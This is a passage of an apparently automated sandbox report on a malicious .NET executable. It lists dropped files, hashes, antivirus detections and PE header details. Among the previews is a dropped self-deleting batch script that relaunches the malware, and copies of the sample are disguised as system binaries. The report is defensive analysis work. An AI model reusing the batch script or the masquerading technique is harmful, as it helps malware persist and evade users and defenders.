            Preview:[ZoneTransfer]....ZoneId=0

            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RuntimeBroker.exe.log

            Download File
            Process:C:\PerfLogs\RuntimeBroker.exe
            File Type:CSV text
            Category:dropped
            Size (bytes):1510
            Entropy (8bit):5.380493107040482
            Encrypted:false
            SSDEEP:24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6Kh6+84xp3/VclSKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6o6+vxp3/l
            MD5:EC75759911B88E93A2B5947380336033
            SHA1:4D1472BBA520DBF76449567159CD927E94454210
            SHA-256:5BFBF7B8E9F9E89881AD3B4E1214A3F0E9F9E36F72A41143226F4DB9E4642E5D
            SHA-512:EF017C70BFB6464CA040FA12C04CE42F9E611D1F79F123F0A7AF7E6CD80002678E1BB97EB835EAF42F7E37B940833CE8422566340A5398115FBB10FC6CCB76C5
            Malicious:false
            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64

            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\TextInputHost.exe.log

            Download File
            Process:C:\Users\user\Searches\TextInputHost.exe
            File Type:CSV text
            Category:dropped
            Size (bytes):1510
            Entropy (8bit):5.380493107040482
            Encrypted:false
            SSDEEP:24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6Kh6+84xp3/VclSKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6o6+vxp3/l
            MD5:EC75759911B88E93A2B5947380336033
            SHA1:4D1472BBA520DBF76449567159CD927E94454210
            SHA-256:5BFBF7B8E9F9E89881AD3B4E1214A3F0E9F9E36F72A41143226F4DB9E4642E5D
            SHA-512:EF017C70BFB6464CA040FA12C04CE42F9E611D1F79F123F0A7AF7E6CD80002678E1BB97EB835EAF42F7E37B940833CE8422566340A5398115FBB10FC6CCB76C5
            Malicious:false
            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64

            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\TodjHkXUZB.exe.log

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:CSV text
            Category:dropped
            Size (bytes):1969
            Entropy (8bit):5.37489905566343
            Encrypted:false
            SSDEEP:48:MxHKQ71qHGIs0HKCYHKGSI6o6+vxp3/elStHTHhAHKKkhHNpaHKlT4x:iq+wmj0qCYqGSI6o9Zp/elStzHeqKkh2
            MD5:40B0737D9E519BE2FAE92D41EE16B42F
            SHA1:57A1EE0799583C2FDFE12AB3721B872A7B669D97
            SHA-256:3F0A9499BDFBC87F5AE57306FFEEEA7388214D9AD47CB12050A54F7DC64E7625
            SHA-512:EF059C601229B4A945A5A29A69802D733A525761B3FDA029D2E9B486F400DA2105A0EA88D0F02A90AED1BA1A2335CB5A122B28A93BF54B6C3D8C6FFE4066B28B
            Malicious:true
            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64

            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\crQsxZqWXkIyquEQmzM.exe.log

            Download File
            Process:C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe
            File Type:CSV text
            Category:dropped
            Size (bytes):1510
            Entropy (8bit):5.380493107040482
            Encrypted:false
            SSDEEP:24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6Kh6+84xp3/VclSKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6o6+vxp3/l
            MD5:EC75759911B88E93A2B5947380336033
            SHA1:4D1472BBA520DBF76449567159CD927E94454210
            SHA-256:5BFBF7B8E9F9E89881AD3B4E1214A3F0E9F9E36F72A41143226F4DB9E4642E5D
            SHA-512:EF017C70BFB6464CA040FA12C04CE42F9E611D1F79F123F0A7AF7E6CD80002678E1BB97EB835EAF42F7E37B940833CE8422566340A5398115FBB10FC6CCB76C5
            Malicious:false
            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64

            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\dllhost.exe.log

            Download File
            Process:C:\Windows\System32\nettraceex\dllhost.exe
            File Type:CSV text
            Category:dropped
            Size (bytes):1510
            Entropy (8bit):5.380493107040482
            Encrypted:false
            SSDEEP:24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6Kh6+84xp3/VclSKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6o6+vxp3/l
            MD5:EC75759911B88E93A2B5947380336033
            SHA1:4D1472BBA520DBF76449567159CD927E94454210
            SHA-256:5BFBF7B8E9F9E89881AD3B4E1214A3F0E9F9E36F72A41143226F4DB9E4642E5D
            SHA-512:EF017C70BFB6464CA040FA12C04CE42F9E611D1F79F123F0A7AF7E6CD80002678E1BB97EB835EAF42F7E37B940833CE8422566340A5398115FBB10FC6CCB76C5
            Malicious:false
            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64

            C:\Users\user\AppData\Local\Temp\QnnerAriNi

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with no line terminators
            Category:dropped
            Size (bytes):25
            Entropy (8bit):4.403856189774723
            Encrypted:false
            SSDEEP:3:AnWh0cmMoXPn:Anklsf
            MD5:BEC61189713A61659C34FB33681983D7
            SHA1:B7746E708201DBDB0AC1AD653614D1042DABBFA7
            SHA-256:7393EBA97C36B1F69D8FAAFBD58D52BA370570F1148EDB1F1833444CEF9DFF24
            SHA-512:46814411A7D5D15C11C2724053A83AC2727FC9AB0163E1ED7A8C88E8F483B420DC3FEA01ABCD1BC2D80B6CB32A30F2833F7346D3D8F08BD2132D31E6812EF044
            Malicious:false
            Preview:Frj9h4UYL03easN09kliM2mU8

            C:\Users\user\AppData\Local\Temp\axOZ6YsJUi.bat

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:DOS batch file, ASCII text, with CRLF line terminators
            Category:dropped
            Size (bytes):201
            Entropy (8bit):5.106833381593583
            Encrypted:false
            SSDEEP:6:hITg3Nou11r+DE1wvMzOvKOZG1wkn23fwt:OTg9YDEmxDf0
            MD5:C4DBB72FE2211A98EF3490C442C7761D
            SHA1:31E14C6D2E7247157CF654CCA17CCC6050B3ABB6
            SHA-256:3077D7CE0C46A1A3D9600F15E8E1B0665B209ABF8B664E14ECB92BCBE993F674
            SHA-512:61915D445271EA6757EB434672BCA97ACAE8F0942A53D1DF719AF134451CD69B663E7B29DAE1F85C8C4FF90B8F5ED2FF92DA81911C98E564501044CFD8E23A05
            Malicious:true
            Antivirus:
            • Antivirus: Avira, Detection: 100%
            Preview:@echo off..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul..start "" "C:\Users\user\Desktop\TodjHkXUZB.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\axOZ6YsJUi.bat"

            C:\Users\user\Saved Games\9bbeff4be41982a9d16e76407a2635460d1b41f2

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with very long lines (974), with no line terminators
            Category:dropped
            Size (bytes):974
            Entropy (8bit):5.9178831870384165
            Encrypted:false
            SSDEEP:24:WVOXhKuFv8Z6EefaSvIvt1Tw+ReBgi7mKXbBnoNC6bn:FQuFv8ZJefacIvL0+Rmg+LBowq
            MD5:694982579CE74499597CFBC10A2F6187
            SHA1:AF937A195AA25AEB931E3B1F96B2F90C054A7436
            SHA-256:CE73C986025856569BA22FD6BC899723D0E479B6EFCFB969D5A2F6DF9BEE388D
            SHA-512:40D9F656E98499AF3C1B4F7E1033AE4E56C1CE04669E347C8F35788198A7C3A20A8876046AC54519472463C5A922E68D94DC625A8702BA9D9FFF9A492518AFC5
            Malicious:false
            Preview:6NK3irov068hnQHqNoUpj6s8F1M3JfwjHYmXRqEkrcdZ6PtpAHj8a3Z9fMxrfvmVKYZOnuZgku7GcSBzHh2C5yJO9n1F2XF60IPi0fBQrCXq6TgMK7k82jZWPKPA2UnNpAPTDd9mfmU2adSqGp45wGEQt2TpQAXXZKA5DMIr87dPPg5w2i4MZsai68kKKTWeO7dPcWm3gM6znyBM7hwrGK7quc9Fm7hol8BSDqUf6BqNwl5H7YNmgpYD9wf9XhRipRNpxtJQMQvFeu4Jg1HOu4I6j7SQLUIYuHheXQUNP6aP3TiP2VdgZDyuJRFzb2F2IWUXMavQg49xe2CQYCYz0m9rSwUFKfwW1hHg8LCcjM9fEBQROyaYePBgXnFaFqFBHm57ufSN96PomdnQgD0WEY2lflJUFmW3G7YbFTgtgNYiAX34Ay4Czt7suUcJW7HXjWhoFLKMgH019TlHrPURsTEXApqv1XWiFB8ozOyynrgr2FtasUbHn0oPRKoaeZVJuRv8V7SdafnAxWe45QDh5P4OWsWpkYTOVW6kUvFvB7qIMob5pteOVyNfWhlmln3CLZobZ4kKKSf7iwCsQbA03F2hJbNxJcJYEo6w9AfvITDDSP6ke3WKnCIGhHR8qxBsIH340PtP5OskByO3fnSPG9vCf0P1tgEUSV5LWBuOKGOYTiFs2YdCfvlIV0Y991gZKXRp3Dgd3DFAvXs7vh9VDCzgtwzfmuPSjzO6QZyy19JbplX8IbOc1LVIiv5HNA0Iywa6JwrVtKdE2X0IY0XLgxbYdFXfeqk0IAn3LazVu2sqrRPK4xsXnomBVBcDYL1Cjn52u767ACboEuqM0Mkq7NNdXmhJ8w6iApHEVWa60vWlN76lVQMLkKFWZbeIax9OF3oYnl1ewo0M1mQap6yrkv7zkup31SgDvIfTTh8tYsZ6U2exLEcd8RnU5yy267meHxbsG6GH8FS2VB

            C:\Users\user\Saved Games\crQsxZqWXkIyquEQmzM.exe

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
            Category:dropped
            Size (bytes):933888
            Entropy (8bit):6.067363899551992
            Encrypted:false
            SSDEEP:12288:JHNEIuRlXJxJVB+1XleQis3mFkVfm1SFw6Xdv8ZOmddDqBHjqn4:dNLEJxpseQihFqfmVPOBBD+4
            MD5:1EC0EF270FF4B08FA5B6436AB0ED39D0
            SHA1:363E5655608BE17B3BA57BF54CD2DE3BE943AFB4
            SHA-256:98372C461F60EB37116D1A876433E4D333126DDBEC61CFAFA7E4ED64A9F7A844
            SHA-512:0D08CF20E83E876B82BAF7BB04B829F67FE0AFAB262685A25012F3789541E484FB893647EDE9FF2DC48D617C647564EF1533CDD54ECFE5C9838344B072B22BD9
            Malicious:true
            Antivirus:
            • Antivirus: ReversingLabs, Detection: 79%
            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....ia.....................Z........... ... ....@.. ....................................@.................................p...K.................................................................................... ............... ..H............text........ ...................... ..`.sdata...R... ...T..................@....rsrc................:..............@..@.reloc...............>..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

            C:\Users\user\Saved Games\crQsxZqWXkIyquEQmzM.exe:Zone.Identifier

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with CRLF line terminators
            Category:dropped
            Size (bytes):26
            Entropy (8bit):3.95006375643621
            Encrypted:false
            SSDEEP:3:ggPYV:rPYV
            MD5:187F488E27DB4AF347237FE461A079AD
            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
            Malicious:false
            Preview:[ZoneTransfer]....ZoneId=0

            C:\Users\user\Searches\22eafd247d37c30fed3795ee41d259ec72bb351c

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with no line terminators
            Category:dropped
            Size (bytes):81
            Entropy (8bit):5.2646205716525145
            Encrypted:false
            SSDEEP:3:XzHSUtR/IwMI8U0u6Do1Rn58Xw:XzHnzIwMlUX6DKR9
            MD5:133BDBC7CC221FCA79F51F48A7B70DEC
            SHA1:C845050F7AC1277908F76FDA9309B4EF8E7ED89A
            SHA-256:CFC44EC4FE809EA17E48CF9838FF714EC4B7BDCCBA002F0F56BD25F3DF4DB238
            SHA-512:C8FA2B9E5853EF9A1A2D1C27811C666E9594EE6F07B09724FF5F7A580F31E6258BB110C953576925F22FF0DAB36D07C559F230A173DEB1285FB759825F1B8901
            Malicious:false
            Preview:deLYetFwbF4ygbwqO8Vf38v83TGmEPzpFt8O4ilX2S1wbM8QdKezdgKesNeLndrMQPtxdhwqW7nlH9hrU

            C:\Users\user\Searches\TextInputHost.exe

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
            Category:dropped
            Size (bytes):933888
            Entropy (8bit):6.067363899551992
            Encrypted:false
            SSDEEP:12288:JHNEIuRlXJxJVB+1XleQis3mFkVfm1SFw6Xdv8ZOmddDqBHjqn4:dNLEJxpseQihFqfmVPOBBD+4
            MD5:1EC0EF270FF4B08FA5B6436AB0ED39D0
            SHA1:363E5655608BE17B3BA57BF54CD2DE3BE943AFB4
            SHA-256:98372C461F60EB37116D1A876433E4D333126DDBEC61CFAFA7E4ED64A9F7A844
            SHA-512:0D08CF20E83E876B82BAF7BB04B829F67FE0AFAB262685A25012F3789541E484FB893647EDE9FF2DC48D617C647564EF1533CDD54ECFE5C9838344B072B22BD9
            Malicious:true
            Antivirus:
            • Antivirus: Avira, Detection: 100%
            • Antivirus: Joe Sandbox ML, Detection: 100%
            • Antivirus: ReversingLabs, Detection: 79%
            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....ia.....................Z........... ... ....@.. ....................................@.................................p...K.................................................................................... ............... ..H............text........ ...................... ..`.sdata...R... ...T..................@....rsrc................:..............@..@.reloc...............>..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

            C:\Users\user\Searches\TextInputHost.exe:Zone.Identifier

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with CRLF line terminators
            Category:dropped
            Size (bytes):26
            Entropy (8bit):3.95006375643621
            Encrypted:false
            SSDEEP:3:ggPYV:rPYV
            MD5:187F488E27DB4AF347237FE461A079AD
            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
            Malicious:true
            Preview:[ZoneTransfer]....ZoneId=0

            C:\Windows\System32\nettraceex\5940a34987c99120d96dace90a3f93f329dcad63

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with very long lines (556), with no line terminators
            Category:dropped
            Size (bytes):556
            Entropy (8bit):5.879301885697616
            Encrypted:false
            SSDEEP:12:63tjcC6+IQSF/bLsqzTt5zz5GfklnFNRb0XUfNP2rEzxA:6dju+IQeLP5zz5vP+EFPBA
            MD5:8F64CDAB8AD170F35EBAE81AAB8DE268
            SHA1:ABF1C72DDD6B2DE000FEBCD62117B21CFEB80D96
            SHA-256:56D4737FE0B4C31AE9FB456CA4682A91394D7691DDBF43F37A05DBC7005078E0
            SHA-512:376FA51EFA88CA1397527B2690CCFA6131A3C6020F376FA1A5ACFC84789546E88617423621B803FC0FED267EB9F2B51C1A88303FA497124C479183E290E8E665
            Malicious:false
            Preview:dfrDZuYkpfLdLx6Yxcf3jXtqx1yVxbQDLP9CFm6NOAbdVNJBMf7hqo8GwAPi5DwOPHS5y3TLfRoi5PUkrwISesXgQ3QEXXRLNNON5NMSMvBYAZKgqp1I4euguwp5nPyIAdUsAGpdj0Fsr9f1stXrgIQtdsdIiRp773YgEcfjAXjDZBzvQyM31Gl1MlPSng5SLIuxl9wPNyrJjMUb3s2uFvF1RgUcNN6ebQ2QRBKRB6pCZcR9RyY5nLMaC2fEpTCA2NrSUDJ2ilsIFDczPULZyA0QDcNYfFls4pKMv8pOogWCcEU9aqyUInM1WaO1zuWc9ANZ2QDQo7uRoxy9HO7yRQkRdTzUtxY3K4Cc04HKnhqK24NjmPulwiKsZ66jash1j0HtuVIMHxLtkZYiGPsdDwHmtUC48ht4AzlBxdyQHhe9WbIAhXdLADxwteAaSNOjDQtvxXvmabWgSHPSMCXkEi36BzSSdY84S55FrWMKm0ujrRelPrOQ0oefWwt8FcJCdbNXMJkz0N7OyUPuUqDvKrDnaat5mOFKrrFPDHZFHYan

            C:\Windows\System32\nettraceex\dllhost.exe

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
            Category:dropped
            Size (bytes):933888
            Entropy (8bit):6.067363899551992
            Encrypted:false
            SSDEEP:12288:JHNEIuRlXJxJVB+1XleQis3mFkVfm1SFw6Xdv8ZOmddDqBHjqn4:dNLEJxpseQihFqfmVPOBBD+4
            MD5:1EC0EF270FF4B08FA5B6436AB0ED39D0
            SHA1:363E5655608BE17B3BA57BF54CD2DE3BE943AFB4
            SHA-256:98372C461F60EB37116D1A876433E4D333126DDBEC61CFAFA7E4ED64A9F7A844
            SHA-512:0D08CF20E83E876B82BAF7BB04B829F67FE0AFAB262685A25012F3789541E484FB893647EDE9FF2DC48D617C647564EF1533CDD54ECFE5C9838344B072B22BD9
            Malicious:true
            Antivirus:
            • Antivirus: Avira, Detection: 100%
            • Antivirus: Joe Sandbox ML, Detection: 100%
            • Antivirus: ReversingLabs, Detection: 79%
            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....ia.....................Z........... ... ....@.. ....................................@.................................p...K.................................................................................... ............... ..H............text........ ...................... ..`.sdata...R... ...T..................@....rsrc................:..............@..@.reloc...............>..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

            C:\Windows\System32\nettraceex\dllhost.exe:Zone.Identifier

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with CRLF line terminators
            Category:dropped
            Size (bytes):26
            Entropy (8bit):3.95006375643621
            Encrypted:false
            SSDEEP:3:ggPYV:rPYV
            MD5:187F488E27DB4AF347237FE461A079AD
            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
            Malicious:true
            Preview:[ZoneTransfer]....ZoneId=0

            \Device\Null

            Download File
            Process:C:\Windows\System32\w32tm.exe
            File Type:ASCII text
            Category:dropped
            Size (bytes):151
            Entropy (8bit):4.781600768039463
            Encrypted:false
            SSDEEP:3:VLV993J+miJWEoJ8FX6XUr6SOSuXKvpddvj:Vx993DEUFk2SOSuXa
            MD5:33460D27D26259359615E1EBC8E0FC80
            SHA1:AE29C8C340F9C332A7500DA50EE30BE6A5A303A2
            SHA-256:7DDCF80E14BA6D7C0E7997CABF52E485AFB4AFEEA6B16EBA5E9B9927937864D9
            SHA-512:39AA3900FE9F9D768D46DC5081DB8734EFB5F29DBB8EB39C53836D385005AF621F74F7E1872E6956F5C339426B7473640696A39CD10F23F2C49E817DB011E6C9
            Malicious:false
            Preview:Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 25/12/2024 00:34:27..00:34:27, error: 0x80072746.00:34:32, error: 0x80072746.

            Static File Info

            General

            File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
            Entropy (8bit):6.067363899551992
            TrID:
            • Win32 Executable (generic) Net Framework (10011505/4) 49.79%
            • Win32 Executable (generic) a (10002005/4) 49.75%
            • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
            • Windows Screen Saver (13104/52) 0.07%
            • Win16/32 Executable Delphi generic (2074/23) 0.01%
            File name:TodjHkXUZB.exe
            File size:933'888 bytes
            MD5:1ec0ef270ff4b08fa5b6436ab0ed39d0
            SHA1:363e5655608be17b3ba57bf54cd2de3be943afb4
            SHA256:98372c461f60eb37116d1a876433e4d333126ddbec61cfafa7e4ed64a9f7a844
            SHA512:0d08cf20e83e876b82baf7bb04b829f67fe0afab262685a25012f3789541e484fb893647ede9ff2dc48d617c647564ef1533cdd54ecfe5c9838344b072b22bd9
            SSDEEP:12288:JHNEIuRlXJxJVB+1XleQis3mFkVfm1SFw6Xdv8ZOmddDqBHjqn4:dNLEJxpseQihFqfmVPOBBD+4
            TLSH:3B1528127A44DF02E12D163BC9EF405443ACED417A62DB1A7EAF339D25563A70E0E1EE
            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....ia.....................Z........... ... ....@.. ....................................@................................

            File Icon

            Icon Hash:90cececece8e8eb0

            Static PE Info

            General

            Entrypoint:0x4e00be
            Entrypoint Section:.text
            Digitally signed:false
            Imagebase:0x400000
            Subsystem:windows gui
            Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Time Stamp:0x6169E5E6 [Fri Oct 15 20:34:46 2021 UTC]
            TLS Callbacks:
            CLR (.Net) Version:
            OS Version Major:4
            OS Version Minor:0
            File Version Major:4
            File Version Minor:0
            Subsystem Version Major:4
            Subsystem Version Minor:0
            Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

            Entrypoint Preview

            Instruction
            jmp dword ptr [00402000h]
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
